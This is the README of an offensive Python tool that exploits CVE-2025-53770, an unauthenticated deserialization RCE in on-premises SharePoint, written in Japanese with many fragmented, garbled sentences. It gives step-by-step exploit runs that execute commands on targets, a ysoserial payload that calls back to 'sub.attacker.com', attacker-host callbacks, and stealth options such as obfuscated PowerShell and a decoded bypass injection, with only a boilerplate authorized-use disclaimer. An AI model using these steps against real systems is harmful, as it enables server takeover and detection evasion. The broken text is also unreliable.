
洗練された、ウィザード駆動のPythonエクスプロイトツールで、CVE-2025-53770を標的としています。これは、オンプレミスのMicrosoft SharePoint Server(2016、2019、サブスクリプションエディション)における、重大な(CVSS 9.8)認証されていないリモートコード実行(RCE)脆弱性です。
Divine Absolute は、CVE-2025-53770 を標的とした、ウィザード駆動の高度なPythonエクスプロイトツールです。これは、オンプレミスのMicrosoft SharePoint Server(2016、2019、Subscription Edition)における、認証不要のリモートコード実行(RCE)の脆弱性(CVSS 9.8、クリティカル)です。この脆弱性は2025年7月19日にゼロデイとして公開され、/_layouts/15/ToolPane.aspx における信頼できないデータのデシリアライズに起因します。本ツールは、倫理的なペネトレーションテストおよび認可されたセキュリティ研究専用に設計されており、偵察、エクスプロイト、検証において比類のない精度、ステルス性、適応性を提供します。
リポジトリ: https://github.com/exfil0/CVE-2025-53770
⚠️ 法的注意: このツールは、管理された環境において明示的な許可を得た上での合法的かつ認可された使用のみを目的としています。あなたが所有していない、またはテストする許可を得ていないシステムに対する不正使用は違法であり、深刻な法的結果を招く可能性があります。作者は誤用に対する一切の責任を負いません。
ToolPane.aspx のアクセス可否を高度なスコアリングと正規表現(例: 16.0.0.\d+-\w+?)で検出します。ToolPane.aspx 経由でペイロードを配信します。WebRequest.Create、Dns.GetHostEntry)を生成します。-enc)ペイロードも含まれます。/xp.aspx、UUIDベース)。www.google.com)、カスタムURL、または内部SharePointパス(例: /_layouts/15/sharepoint.aspx)。RequestException 発生時のリトライ、カスタマイズ可能なステータスコード/パスを用いた堅牢なRCE確認。MicrosoftSharePointTeamServices)、パス(例: /versions.aspx)、正規表現による拡張SharePoint検出。/_layouts/15/ToolPane.aspx におけるデシリアライズによる認証不要のRCE。/ToolPane.aspx へのPOSTの監視、WAFルール(例: Cloudflare)の使用。pip install requests termcolor
pip install pythonnet
ysoserial.exe を既知のパス(例: ./ysoserial.exe)に配置。# Ubuntu/Debian
sudo apt-get install mono-complete
# macOS(Homebrew経由)
brew install mono
docker pull mcr.microsoft.com/sharepoint/server:2019
git clone https://github.com/exfil0/CVE-2025-53770.git
cd CVE-2025-53770
pip install -r requirements.txt
ysoserial.exe がアクセス可能であることを確認するか、実行時にパスを指定。対話型ウィザードを実行:
python divine_absolute.py
Recon: SharePointの存在とバージョンをスキャン。Exploit: ペイロードを ToolPane.aspx に送信。Full: 偵察 + エクスプロイト(オプションでアグレッシブモード)。https://sharepoint.example.com)。ObjectDataProvider)、コマンド(例: cmd /c whoami)を指定。http://attacker.com/callback または sub.attacker.com)。NONE、BASIC_REFLECTION、、またはカスタムスニペットから選択。python divine_absolute.py
# 選択: Mode=Recon, Target=https://sharepoint.example.com
python divine_absolute.py
# 選択: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
# ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
# Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
python divine_absolute.py
# 選択: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
# Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
python divine_absolute.py
# 選択: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
結果は xanthorox_results.json に保存され、以下のフィールドが含まれます:
target: テストしたURL。sharepoint_detected: ブール値。toolpane_accessible: ブール値。exploited: ブール値(ペイロード送信済み)。verified_rce: ブール値/None(RCE確認済み)。error: 発生したエラー。例:
[
{
"target": "https://sharepoint.example.com",
"sharepoint_detected": true,
"toolpane_accessible": true,
"exploited": true,
"verified_rce": true,
"error": null
}
]
このバージョンでは以下を修正:
-enc)コマンドにバイパスをデコードして注入。非PowerShell(例: cmd.exe)には警告を表示。pythonnet を使用して Dns.GetHostEntry による信頼性の高いDNSピンバックを実現(実験的、完全な効果を得るにはガジェットが必要)。ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64 でペイロードを生成し、DNSログを確認。pythonnet の Dns.GetHostEntry は、特定のガジェットチェーンがないとトリガーされない可能性があります。コントリビューションを歓迎します!以下の手順に従ってください:
git checkout -b feature/awesome-improvement)。git commit -m "Add awesome improvement")。git push origin feature/awesome-improvement)。このプロジェクトはMITライセンスの下でライセンスされています。詳細は LICENSE を参照してください。
注意: 使用前に、必ず管理されたラボ環境でペイロードと設定を検証してください。倫理的かつ合法的に行動しましょう。
CONCAT_OBFUSCATEDNONE、FIXED(例: /xp.aspx)、RANDOM(UUIDベース)。DEFAULT_SP、NO_REFERER、RANDOM_EXTERNAL、CUSTOM_URL。http://127.0.0.1:8080)。/sitepages/result.txt)、正規表現(例: Xanthorox.*)、ステータスコード(例: 200,403)、試行回数、遅延、タイムアウトを指定。